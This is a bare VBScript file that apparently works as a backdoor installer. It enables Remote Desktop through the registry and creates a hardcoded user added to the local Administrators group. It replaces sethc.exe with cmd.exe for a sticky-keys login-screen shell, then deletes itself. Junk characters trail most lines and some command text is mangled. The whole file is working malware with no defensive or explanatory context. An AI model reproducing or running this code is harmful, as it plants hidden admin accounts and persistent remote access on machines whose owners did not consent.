on error resume next ;?~$h-9)
const HKEY_LOCAL_MACHINE = &H80000002 ;?~$h-9)
strComputer = "." ;?~$h-9)
Set StdOut = WScript.StdOut ;?~$h-9)
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ ;?~$h-9)
strComputer & "\root\default:StdRegProv") ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" ;?~$h-9)
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" ;?~$h-9)
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" ;?~$h-9)
strValueName = "fDenyTSConnections" ;?~$h-9)
dwValue = 0 ;?~$h-9)
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" ;?~$h-9)
strValueName = "PortNumber" ;?~$h-9)
dwValue = 3389 ;?~$h-9)
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue ;?~$h-9)
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" ;?~$h-9)
strValueName = "PortNumber" ;?~$h-9)
dwValue = 3389 ;?~$h-9)
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue ;?~$h-9)
on error resume next ;?~$h-9)
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath ;?~$h-9)
On Error Resume Next h:Ndzp{
Dim obj, success h:Ndzp{
Set obj = CreateObject("WScript.Shell") h:Ndzp{
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) h:Ndzp{
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) h:Ndzp{